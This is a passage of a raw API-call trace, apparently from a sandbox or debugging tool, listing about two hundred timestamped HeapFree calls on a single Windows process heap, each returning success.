	[0184.587] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.594] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.594] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.595] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.595] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.596] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.596] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.597] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.598] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.603] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.605] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.606] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.606] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.607] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.607] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.611] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.612] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.612] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.614] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.614] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.614] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.614] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.614] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.615] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.615] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.615] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.615] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.615] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.615] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.616] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.616] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4024f88 | out: hHeap=0x710000) returned 1
	[0184.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.617] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4ef0048 | out: hHeap=0x710000) returned 1
	[0184.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.719] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.723] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.724] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.724] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.725] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.726] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.726] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.727] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.728] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.728] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.730] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.731] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.731] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.732] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.733] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.734] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.743] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.789] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.790] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.808] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.809] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.811] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.811] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.813] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.813] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.815] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.815] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.832] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0184.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40f1050 | out: hHeap=0x710000) returned 1
	[0184.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4101058 | out: hHeap=0x710000) returned 1
	[0184.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0184.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40e1048 | out: hHeap=0x710000) returned 1
	[0184.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0184.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0184.846] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0184.846] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.846] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0184.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0184.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.011] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.011] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.028] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.030] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.047] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.048] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.050] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.052] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.054] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.056] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.057] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.057] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.059] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.060] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.061] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.063] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.065] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.067] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.073] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.075] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.076] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.076] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0185.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.094] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0185.095] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.095] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0185.102] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0185.213] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0185.213] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.215] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0185.428] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.429] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.430] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.431] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.432] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.433] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0185.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0185.434] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0185.437] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.437] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.438] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4034f90 | out: hHeap=0x710000) returned 1
	[0185.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f10058 | out: hHeap=0x710000) returned 1
	[0185.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.819] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.820] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.821] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.822] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.823] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.824] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.825] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.829] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
	[0185.834] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40c1038 | out: hHeap=0x710000) returned 1
